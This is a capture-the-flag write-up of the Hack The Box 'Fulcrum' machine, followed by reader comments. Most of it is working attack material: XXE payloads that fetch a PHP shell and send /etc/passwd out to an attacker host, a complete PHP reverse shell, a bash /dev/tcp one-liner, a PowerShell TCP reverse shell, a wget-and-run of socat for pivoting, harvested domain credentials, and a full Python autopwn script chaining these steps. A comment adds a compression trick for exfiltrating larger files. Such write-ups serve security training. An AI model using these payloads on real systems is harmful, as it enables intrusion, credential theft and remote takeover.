Fulcrum write-up by Alamot


Port scanning

Let’s scan the full range of TCP ports using my tool htbscan.py (you can find it here: code-snippets/htbscan.py at master · Alamot/code-snippets · GitHub).

$ sudo htbscan.py 200

Running command: sudo masscan -e tun0 -p0-65535 --max-rate 200 --interactive

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-06-08 20:43:37 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 9999/tcp on                                   
Discovered open port 88/tcp on                                     
Discovered open port 80/tcp on                                     
Discovered open port 4/tcp on                                      
Discovered open port 56423/tcp on                                  
Discovered open port 22/tcp on                                     
rate:  0.00-kpps, 100.00% done, waiting -582-secs, found=6        
Running command: sudo nmap -A -p4,22,80,88,9999,56423

Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-09 00:03 EEST
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for fulcrum.local (
Host is up (0.18s latency).

4/tcp     open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
22/tcp    open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:28:6e:d0:af:ab:46:de:c5:09:3d:76:ad:5a:44:e0 (RSA)
|   256 c1:5c:1d:ea:99:ec:e0:a1:dc:04:c5:5a:ad:50:36:f6 (ECDSA)
|_  256 a5:2f:44:e6:e3:10:cf:f7:db:15:d1:3f:49:21:3a:7b (ED25519)
80/tcp    open  http    nginx 1.10.3 (Ubuntu)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Input string was not in a correct format.
88/tcp    open  http    nginx 1.10.3 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: phpMyAdmin
9999/tcp  open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Login
56423/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: Fulcrum-API Beta
|_http-title: Site doesn't have a title (application/json;charset=utf-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (94%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.13 (92%), Linux 3.2 - 4.9 (92%), Linux 4.8 (92%), Linux 4.9 (92%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Linux 3.12 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Finding an entry point (i.e. getting a shell)

If we visit we see a link to

<h1>Under Maintance</h1><p>Please <a href="">try again</a> later.</p>

Hmmm… Well, it smells like a file inclusion. But we cannot make it work for the time being. Let’s explore more. On port 56423 we encounter something very interesting, i.e. a JSON response:


Now read this: Playing with Content-Type – XXE on JSON Endpoints. It seems that XXE on JSON endpoints are quite usual even on production systems.

Let’s run a webserver on our side:

$ python -m SimpleHTTPServer SRVPORT
Serving HTTP on port SRVPORT ...

Now, if we send a POST request like that:

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Length: 198

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE hack [<!ENTITY xxe SYSTEM "http://SRVHOST:SRVPORT/shell.php" >]>

We will get this request back on our webserver: - - [09/Jun/2018 09:07:23] "GET /shell.php HTTP/1.0" 200 -

But unfortunately this will NOT run our shell.php. If only we could make it somehow to include our php file… Wait! What? Include? Inclusion? Do you remember page=home on port 4? Let’s try it:

curl -X POST --data-binary '<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE hack [<!ENTITY xxe SYSTEM "" >]><foo>&xxe;</foo>'

Don’t forget to setup our listener. Also, note that I removed the .php extension from shell.php because -as we see in the webserver requests- the .php extension is added automatically when we use the inclusion on port 4.

$ nc -lvp 60001
nc: listening on :: 60001 ...
nc: listening on 60001 ...
nc: connect to 60001 from fulcrum.local ( 40562 [40562]
nc: using stream socket
Linux Fulcrum 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 07:15:00 up  1:20,  0 users,  load average: 0.65, 0.95, 0.61
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1153): Inappropriate ioctl for device
bash: no job control in this shell

It works! For the sake of completion, note that -using XXE- we can also exfiltrate files. First, prepare a file exflt.xml which contains those lines:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://SRVHOST:SRVPORT/%data;'>">

Next, send a request like that:

curl -X POST --data-binary '<?xml version="1.0" ?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % sp SYSTEM "http://SRVHOST:SRVPORT/exflt.xml">%sp;%param1;]><bar>&exfil;</bar>'

We will get the file contents base64-encoded back on our webserver: - - [09/Jun/2018 16:58:36] "GET /cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDA6MTAyOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwMzpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L2Jpbi9mYWxzZQpzeXN0ZW1kLXJlc29sdmU6eDoxMDI6MTA0OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3Jlc29sdmU6L2Jpbi9mYWxzZQpzeXN0ZW1kLWJ1cy1wcm94eTp4OjEwMzoxMDU6c3lzdGVtZCBCdXMgUHJveHksLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzbG9nOng6MTA0OjEwODo6L2hvbWUvc3lzbG9nOi9iaW4vZmFsc2UKX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKbHhkOng6MTA2OjY1NTM0OjovdmFyL2xpYi9seGQvOi9iaW4vZmFsc2UKZG5zbWFzcTp4OjEwNzo2NTUzNDpkbnNtYXNxLCwsOi92YXIvbGliL21pc2M6L2Jpbi9mYWxzZQptZXNzYWdlYnVzOng6MTA4OjExMTo6L3Zhci9ydW4vZGJ1czovYmluL2ZhbHNlCmJsdWVwcmludDp4OjEwMDA6MTAwMDpibHVlcHJpbnQsLCw6L2hvbWUvYmx1ZXByaW50Oi9iaW4vYmFzaApjb2xvcmQ6eDoxMDk6MTE3OmNvbG9yZCBjb2xvdXIgbWFuYWdlbWVudCBkYWVtb24sLCw6L3Zhci9saWIvY29sb3JkOi9iaW4vZmFsc2UKbGlidmlydC1xZW11Ong6NjQwNTU6MTE1OkxpYnZpcnQgUWVtdSwsLDovdmFyL2xpYi9saWJ2aXJ0Oi9iaW4vZmFsc2UKbGlidmlydC1kbnNtYXNxOng6MTEwOjExODpMaWJ2aXJ0IERuc21hc3EsLCw6L3Zhci9saWIvbGlidmlydC9kbnNtYXNxOi9iaW4vZmFsc2UKc3NoZDp4OjExMTo2NTUzNDo6L3Zhci9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.0" 404

Here is the index.php on port 4 for reference:

www-data@Fulcrum:~$ cat /var/www/uploads/index.php
if($_SERVER['REMOTE_ADDR'] != "")
	echo "<h1>Under Maintance</h1><p>Please <a href=\"http://" . $_SERVER['SERVER_ADDR'] . ":4/index.php?page=home\">try again</a> later.</p>";
	$inc = $_REQUEST["page"];

Here is the index.php on port 56423 for reference:

www-data@Fulcrum:~$ cat /var/www/api/index.php
        header('Server: Fulcrum-API Beta');
        libxml_disable_entity_loader (false);
        $xmlfile = file_get_contents('php://input');
        $dom = new DOMDocument();
        $input = simplexml_import_dom($dom);
        $output = $input->Ping;
        //check if ok
        if($output == "Ping")
                $data = array('Heartbeat' => array('Ping' => "Ping"));
                $data = array('Heartbeat' => array('Ping' => "Pong"));
        echo json_encode($data);

Getting shell on the webserver as WebUser

There is an interesting powershell script in /var/www/uploads/Fulcrum_Upload_to_Corp.ps1:

www-data@Fulcrum:~$ cat /var/www/uploads/Fulcrum_Upload_to_Corp.ps1
# TODO: Forward the PowerShell remoting port to the external interface
# Password is now encrypted \o/

$1 = 'WebUser'
$2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ','
$4 = $3 | ConvertTo-SecureString -key $2
$5 = New-Object System.Management.Automation.PSCredential ($1, $4)

Invoke-Command -Computer upload.fulcrum.local -Credential $5 -File Data.ps1

Read this: Decrypt PowerShell Secure String Password - Scripting Blog
If we run the above script code we can retrieve the password like this:

PS> $5.GetNetworkCredential().Password

No need for Windoze. You can run the code online here: Try It Online (or you can use powershell for linux: GitHub - PowerShell/PowerShell: PowerShell for every system!).

Now, we know those credentials WebUser:M4ng£m£ntPa55. If we look the file /etc/nginx/sites-enabled/default, we discover an interesting IP address: This IP has port 5986 open (WS-Management a.k.a. WinRM a.k.a PowerShell Remoting). So, let’s redirect the port 5986 of to the port 60217 of Then we can access it from outside. I prefer to use socat for this job (you can find it here: static-binaries/socat at master · andrew-d/static-binaries · GitHub).

www-data@Fulcrum:/$ mkdir /dev/shm/.a
www-data@Fulcrum:/$ cd /dev/shm/.a
www-data@Fulcrum:/dev/shm/.a$ wget http://SRVHOST:SRVPORT/socat
www-data@Fulcrum:/dev/shm/.a$ chmod +x socat
www-data@Fulcrum:/dev/shm/.a$ ./socat tcp-listen:60217,reuseaddr,fork tcp: &

Now, we can use either Windows Powershell to connect or Ruby’s winrm module. To connect from a windows box via my linux system I do a second port redirection like this:

(on my linux system) $ socat tcp-listen:5986,reuseaddr,fork tcp: 
(on my windows powershell) PS> Enter-PSSession -ComputerName -Credential $5 -UseSSL -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck)

where is the gateway for the Windows box i.e. my linux system.

Personally, I prefer to stay away from Windoze and I use ruby’s winrm modules. You can see some examples here: code-snippets/winrm at master · Alamot/code-snippets · GitHub). Your connection settings should be like this:

conn = WinRM::Connection.new( 
  endpoint: '',
  transport: :ssl,
  user: 'WebUser',
  password: 'M4ng£m£ntPa55',
  :no_ssl_peer_verification => true

Getting LDAP credentials

The file C:\Inetpub\wwwroot\web.config contains some credentials:

$ ruby winrm_shell_with_upload.rb

PS webserver\webuser@WEBSERVER Documents> [System.Net.Dns]::GetHostByName(($env:computerName))

HostName  Aliases AddressList   
--------  ------- -----------   
WebServer {}      {}

PS webserver\webuser@WEBSERVER Documents> cd C:\Inetpub\wwwroot
PS webserver\webuser@WEBSERVER wwwroot> cat web.config
 connectionUsername="FULCRUM\LDAP" connectionPassword="PasswordForSearching123!"

Searching LDAP

Let’s see what computers we know using an LDAP query:

PS C:\Users\Webuser\Desktop> (New-Object adsisearcher((New-Object adsi("LDAP://dc.fulcrum.local","fulcrum\ldap","PasswordForSearching123!")),"(objectCategory=Computer)")).FindAll() | %{ $_.Properties.name }

Path                                                                    Properties                                                       
----                                                                    ----------                                                       
LDAP://dc.fulcrum.local/CN=DC,OU=Domain Controllers,DC=fulcrum,DC=local {ridsetreferences, logoncount, codepage, objectcategory...}      
LDAP://dc.fulcrum.local/CN=FILE,CN=Computers,DC=fulcrum,DC=local        {logoncount, codepage, objectcategory, iscriticalsystemobject...}

We see two CNs: DC and FILE. Now let’s query about info:

PS C:\Users\Webuser\Desktop> (New-Object adsisearcher((New-Object adsi("LDAP://dc.fulcrum.local","fulcrum\ldap","PasswordForSearching123!")),"(info=*)")).FindAll() | %{ $_.Properties }

Name                           Value
----                           -----
logoncount                     {18}
codepage                       {0}
objectcategory                 {CN=Person,CN=Schema,CN=Configuration,DC=fulcrum,DC=local}
description                    {Has logon rights to the file server}
usnchanged                     {143447}
instancetype                   {4}
name                           {Bobby Tables}
badpasswordtime                {131522885566857829}
pwdlastset                     {131514417841217344}
objectclass                    {top, person, organizationalPerson, user}
badpwdcount                    {0}
samaccounttype                 {805306368}
lastlogontimestamp             {131556801131693417}
usncreated                     {12878}
objectguid                     {88 53 29 79 114 147 100 75 187 41 125 239 148 113 13 111}
info                           {Password set to ++FileServerLogon12345++}
whencreated                    {10/2/2017 6:06:57 PM}
adspath                        {LDAP://dc.fulcrum.local/CN=Bobby Tables,OU=People,DC=fulcrum,DC=local}
useraccountcontrol             {66048}
cn                             {Bobby Tables}
countrycode                    {0}
primarygroupid                 {513}
whenchanged                    {11/20/2017 7:35:13 PM}
dscorepropagationdata          {10/2/2017 6:09:28 PM, 10/2/2017 6:06:57 PM, 1/1/1601 12:00:00 AM}
lastlogon                      {131556801131693417}
distinguishedname              {CN=Bobby Tables,OU=People,DC=fulcrum,DC=local}
samaccountname                 {BTables}
objectsid                      {1 5 0 0 0 0 0 5 21 0 0 0 70 111 187 188 76 255 138 170 168 71 215 161 80 4 0 0}
lastlogoff                     {0}
displayname                    {Bobby Tables}
accountexpires                 {9223372036854775807}
userprincipalname              {BTables@fulcrum.local}

Bingo! We have found some credentials (fulcrum.local\btables:++FileServerLogon12345++) for the file server:

PS webserver\webuser@WEBSERVER wwwroot> Invoke-Command -ComputerName file.fulcrum.local -Credential fulcrum.local\btables -Port 5985 -ScriptBlock { type C:\Users\Btables\Desktop\user.txt }


Getting shell on fIle server as btables

We can use port 53 to get a reverse shell on file server (I saw that port 53 was open via pfSense, read the funny story at the end for more details):

require 'winrm'

conn = WinRM::Connection.new( 
  endpoint: '',
  transport: :ssl,
  user: 'WebUser',
  password: 'M4ng£m£ntPa55',
  :no_ssl_peer_verification => true

conn.shell(:powershell) do |shell|
  output = shell.run("$pass = convertto-securestring -AsPlainText -Force -String '++FileServerLogon12345++'; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist 'fulcrum.local\\btables',$pass; Invoke-Command -ComputerName file.fulcrum.local -Credential $cred -Port 5985 -ScriptBlock {$client = New-Object System.Net.Sockets.TCPClient('',53); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close(); }") do |stdout, stderr|
    STDOUT.print stdout
    STDERR.print stderr
  puts "The script exited with exit code #{output.exitcode}"

Don’t forget the listener:

$ sudo nc -lvp 53

Privilege Escalation

Now we have a shell on the file server. We can use our credentials to get access on the netlogon share on the DC:

PS fulcrum\btables@FILE Documents> net use \\dc.fulcrum.local\netlogon /user:fulcrum\btables ++FileServerLogon12345++
The command completed successfully.
PS fulcrum\btables@FILE Documents> cd \\dc.fulcrum.local\netlogon
PS fulcrum\btables@FILE netlogon>

Here we find several interesting scripts like this one for example:

PS fulcrum\btables@FILE netlogon>  cat a1a41e90-147b-44c9-97d7-c9abb5ec0e2a.ps1

# Map network drive v1.0
$User = '923a'
$Pass = '@fulcrum_bf392748ef4e_$' | ConvertTo-SecureString -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ($User, $Pass)
New-PSDrive -Name '\\file.fulcrum.local\global\' -PSProvider FileSystem -Root '\\file.fulcrum.local\global\' -Persist -Credential $Cred

Let’s write a very simple powershell script to test automatically all the user/pass pairs:

function test($u,$p) {
    (new-object directoryservices.directoryentry "",$u,$p).psbase.name -ne $null;

$files = @(Get-ChildItem \\dc.fulcrum.local\netlogon\*.ps1);
foreach ($file in $files) {
    $result = Select-String -Path $file -pattern "'(.*)'";
    $user = $result.Matches[0].Groups[1].Value;
    $pass = $result.Matches[1].Groups[1].Value;
    if (test "fulcrum.local\$user" "$pass")) {
        echo "fulcrum.local\$user $pass";

We convert it to one-liner and run it:

PS fulcrum\btables@FILE netlogon> function test($u,$p) { (new-object directoryservices.directoryentry "",$u,$p).psbase.name -ne $null; }; $files = @(gci \\dc.fulcrum.local\netlogon\*.ps1); foreach ($file in $files) { $result = Select-String -Path $file -pattern "'(.*)'"; $user = $result.Matches[0].Groups[1].Value; $pass = $result.Matches[1].Groups[1].Value; if (test "fulcrum.local\$user" "$pass") { echo "fulcrum.local\$user $pass"; }; }

fulcrum.local\923a @fulcrum_bf392748ef4e_$

Now we have the domain admin credentials. Let’s get the root flag:

PS fulcrum\btables@FILE netlogon> $pass = convertto-securestring -AsPlainText -Force -String '@fulcrum_bf392748ef4e_$'; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist 'fulcrum.local\923a',$pass; Invoke-Command -ComputerName dc.fulcrum.local -Credential $cred -Port 5985 -ScriptBlock { cat C:\Users\Administrator\Desktop\root.txt }


Autopwn script

Here is my autopwn script for Fulcrum. It make use of a ruby helper as the python winrm module doesn’t work correctly. Don’t forget to set LHOST appropriately. It also needs superuser rights (to bind the privileged port 53) and socat. You can find the relevant files here: code-snippets/hacking/HTB/Fulcrum at master · Alamot/code-snippets · GitHub

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# Author: Alamot (Antonios Tsolis)
import re
import sys
import time
from pwn import *
import signal, thread
import requests, urllib3
import SimpleHTTPServer, SocketServer
from subprocess import Popen
signal.signal(signal.SIGINT, signal.SIG_DFL)

DEBUG = False

    context.log_level = 'debug'

php_rev_shell = '<?php set_time_limit (0); $VERSION = "1.0"; $ip = "'+str(LHOST)+'"; $port = '+str(LPORT)+'; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = "uname -a; w; id; /bin/bash -i"; $daemon = 0; $debug = 0; if (function_exists("pcntl_fork")) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Cannot fork"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit("Error: Cannot setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise.  This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Cannot spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) {  if (!$daemon) { print "$string\\n"; } } ?>'

#This works too:
#php_rev_shell="<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/"+str(LHOST)+"/"+str(LPORT)+" 0>&1'\");"

ruby_helper = """require 'winrm'

conn = WinRM::Connection.new( 
  endpoint: 'https://"""+str(RHOST)+":"+str(WINRM_RDPORT)+"""/wsman',
  transport: :ssl,
  user: 'WebUser',
  password: 'M4ng£m£ntPa55',
  :no_ssl_peer_verification => true

conn.shell(:powershell) do |shell|
  output = shell.run("$pass = convertto-securestring -AsPlainText -Force -String '@fulcrum_bf392748ef4e_$'; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist 'fulcrum.local\\\\923a',$pass; Invoke-Command -ComputerName file.fulcrum.local -Credential $cred -Port 5985 -ScriptBlock {$client = New-Object System.Net.Sockets.TCPClient('"""+str(LHOST)+"',"+str(LPORT2)+"""); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); try { $sendback = (iex $data | Out-String ); } catch { $sendback = ($_.Exception|out-string) }; $sendback2 = $sendback + 'PS ' + $(whoami) + '@' + $env:computername + ' ' + $((gi $pwd).Name) + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close(); }") do |stdout, stderr|
    STDOUT.print stdout
    STDERR.print stderr
  puts "The script exited with exit code #{output.exitcode}"

def start_webserver():
        Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
        httpd = SocketServer.TCPServer(("", SRVPORT), Handler)
        log.info("Serving payload at port " + str(SRVPORT))
        log.info("Web server thread exited successfully.")
    except (KeyboardInterrupt, SystemExit):

def send_payload():
        client = requests.session()
        client.keep_alive = True
        # Send payload
        log.info("Sending php shell payload...")
        xml="<?xml version='1.0' encoding='UTF-8' ?><!DOCTYPE hack [<!ENTITY xxe SYSTEM '"+str(SRVHOST)+":"+str(SRVPORT)+"/shell' >]><foo>&xxe;</foo>"
        response = client.post("http://"+str(RHOST)+":"+str(RPORT)+"/", data=xml)
    except requests.exceptions.RequestException as e:
        if client:
        #log.info("Web payload thread exited successfully.")

with open("shell.php", "wt") as f:
with open("ruby_helper.rb", "wb") as f:
    th1 = threading.Thread(target=start_webserver)
    th2 = threading.Thread(target=send_payload)
    th1.daemon = True
    th2.daemon = True
    phpshell = listen(LPORT, timeout=TIMEOUT).wait_for_connection()
    if phpshell.sock is None:
        log.failure("Connection timeout.")
    phpshell.sendline("cd /dev/shm")
    log.info("Uploading socat for port redirection")
    phpshell.sendline("wget http://"+str(SRVHOST)+":"+str(SRVPORT)+"/socat")
    phpshell.sendline("chmod +x socat")
    phpshell.sendline("./socat tcp-listen:"+str(WINRM_RDPORT)+",reuseaddr,fork tcp: &")
    #Uncomment if you want an interactive shell on the webserver instead of the file server
    log.info("Executing ruby_helper.rb")
    Popen(["ruby", "ruby_helper.rb"])
    pssh = listen(LPORT2, timeout=TIMEOUT).wait_for_connection()
except (KeyboardInterrupt, SystemExit):
except Exception as e:

Let’s run it:

$ sudo python2 autopwn_fulcrum.py 
[*] Serving payload at port 60000
[*] Sending php shell payload...
[+] Trying to bind to on port 60001: Done
[+] Waiting for connections on Got connection from on port 58542 - - [09/Jun/2018 19:50:11] "GET /shell.php HTTP/1.0" 200 -
[*] Uploading socat for port redirection - - [09/Jun/2018 19:50:11] "GET /socat HTTP/1.1" 200 -
[*] Executing ruby_helper.rb
[+] Trying to bind to on port 53: Done
[+] Waiting for connections on Got connection from on port 32835
[*] Switching to interactive mode
$ whoami
PS fulcrum\923a@FILE Documents>

Funny story

Here is a funny story about Fulcrum. Me and Filippos, we had found early on the entry point and we had a shell inside the box. I notice that QEMU SPICE was listening locally to ports 5900-5903. We thought maybe this was the intented path and we started to forward those ports to the outside world where we used them to connect via the SPICE protocol to the pfSense and the 3 windows boxes (by the way, I think they had patched it and this doesn’t work anymore). Moreover, we were also redirecting to the outside world the port 5896 from

$ wget
$ chmod +x socat
$ ./socat tcp-listen:55553,reuseaddr,fork tcp:localhost:5900 &
$ ./socat tcp-listen:55554,reuseaddr,fork tcp:localhost:5901 &
$ ./socat tcp-listen:55555,reuseaddr,fork tcp:localhost:5902 &
$ ./socat tcp-listen:55556,reuseaddr,fork tcp:localhost:5903 &

Some other HTB members were doing port scanning during this time and they were discovering our redirected ports. So, they thought maybe there was some strange kind of port knocking mechanism which was going on. This was what I call “the Alamot-Filippos port knocking combination” :smiley:

Nice writeup, also the scritps helped a ton to achieve reaching the Windows boxes!

that was a tough box, thanks alamot for the effort : D

Man, I love your autopwn scripts. Great job as always.

Excellent writeup as always!

Just thought I’d add you can exfil larger files using the following filter:php://filter/read=zlib.deflate/read=convert.base64-encode/resource=.
This lets you get more into the limited number of characters allowed within a url. I couldn’t find a way to exfil default.conf on this box without it.

This can be decoded on the other side using zlib.decompress(base64.b64decode(req), -15) within Python.